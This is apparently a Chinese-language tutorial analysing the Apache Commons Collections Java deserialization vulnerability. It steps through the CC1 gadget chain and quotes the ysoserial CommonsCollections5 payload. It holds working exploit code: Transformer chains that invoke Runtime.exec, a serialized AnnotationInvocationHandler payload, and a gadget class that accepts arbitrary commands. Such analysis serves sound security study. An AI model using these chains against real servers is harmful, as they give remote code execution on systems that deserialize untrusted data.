[TOC]
Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。 目前已知实现了
Transformer
接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformer
、ConstantTransformer
、InvokerTransformer
这三个类,这些类的具体作用我们在下面结合POC来看。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) {
// 1.
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
// 2.
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 3.
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();
// 4.
next.setValue("test");
}
}
该POC可以分成四部分来分析:
创建transformer数组,构建漏洞核心利用代码
将transformers数组存入ChainedTransformer类
创建Map,给予map数据转换链
触发漏洞利用链,利用漏洞
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
这里创建了个Transformer
类型的数组,其中创建了四个对象,这四个对象分别使用了ConstantTransformer
和InvokerTransformer
两个类。
ConstanTransformer
:把一个对象转换为常量并返回
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
InvokerTransformer
:通过反射创建一个对象并返回
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
创建一个ChainedTeansformer
对象并将刚才创建的transformers
传入其中
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer
:将传入的transformers
转换器链接在一起,并依次对象依次的进行转换。
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();
先是创建Map类,添加了一组数据("key", "value")
接着是给与map实现类的数据转换链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform
方法自动进行特定的修饰变换,具体的变换逻辑由Transformer
类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作
在TransformedMap.decorate
中传入了三个参数,第一个参数为刚才创建的Map调用了父类AbstractInputCheckedMapDecorator
的构造函数,被保存为了this.map
第二个参数传入的是null,第三个参数为传入的chainedTransformer
被初始化为this.valueTransformer
的变量。
然后获取outerMap
的第一个键值对(key,value),然后转化成Map.Entry
形式。
最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。
续接上文继续跟入setValue进行分析,首先会进入AbstractInputCheckedMapDecorator
类,在这会对传入的值进行checkSetValue
继续跟进setValue的parent.checkSetValue会进入到TransoformedMap类
这里的valueTransformer就是最一开始我们创建的chainedTransformer对象,其中传入了transformers数组。
继续跟进是ChainedTransformer中的transform方法,这里对我们传入的transformers数组进行了遍历,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。需要注意在数组的循环中,前一次transform
函数的返回值,会作为下一次transform
函数的object
参数输入。
首先遍历的是transformers中的ConstantTransformer,跟进看一下具体是怎么处理的
调用了ConstantTransformer中的transform方法将传入的Runtime.class转换为iConstant变量,并将返回值作为下一次transform函数的object参数输入。
调用InvokerTransformer中的transform方法,这个方法很明显的就是调用了反射机制
在InvokerTransformer的构造函数中需要先传入三个参数
这里回想一下上一部处理中将java.Lang.Runtime作为值传入了这里,所以这一部分也就相当于如下的代码:
method = input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});
即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime()方法,相当于产生一个字符串,但还没有执行"Rumtime.getRuntime( );"
。
这里跟第二次循环一样,同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime()。
method = input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()", new Object[] {null, new Object[0]});
即Runtime.getRuntime().invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime().invoke(null)
method = input.getClass().getMethod("exec", new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});
即Runtime.getRuntime( ).exec("calc.exe"),至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。
目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。 因此就需要寻找一个可序列化类,该类重写了
readObject( )
方法,并且在readObject( )
中进行了setValue( )
操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。 在java中,确实存在一个类AnnotationInvocationHandler
,该类重写了readObject( )
方法,并且执行了setValue( )
操作,且Map变量可控,如果可以将TransformedMap
装入这个AnnotationInvocationHandler
类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。
最后利用的payload如下:
package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize implements Serializable {
public static void main(String[] args) throws Exception{
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformerChain = new ChainedTransformer(transformers);
//Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
Map map = new HashMap();
map.put("value", "test");
//Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
//forName 获得类名对应的Class对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射调用私有的的结构:私有方法、属性、构造器
//指定构造器
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制,保证构造器可访问
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
//调用此构造器运行时类的对象
Object instance=ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
简单的分析调试一下这个payload,其他的部分其实没怎么变,主要的变化是通过反射调用了AnnotationInvocationHandler
该类中重写的readObject方法在被调用的时候将map转换为map.Enrty,并在这其中同时也调用了steValue方法,所以我们只需要将transformedMap装入AnnotationInvocationHandler再进行传输就可以不用考虑远程服务是否进行SetValue。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
实际效果:
但是该方法只能在jdk7中使用,应为在jdk8中的AnnotationInvocationHandler.readObject方法做出了修改:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
他这里干脆不用setValue了。这该如何解决呢,我们可以去看一下在ysoserial中的cc1链是什么样的
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
这里使用了BadAttributeValueExpException来代替AnnotationInvocationHandler,但这其实也就是CC5的链子了。
浏览量: 292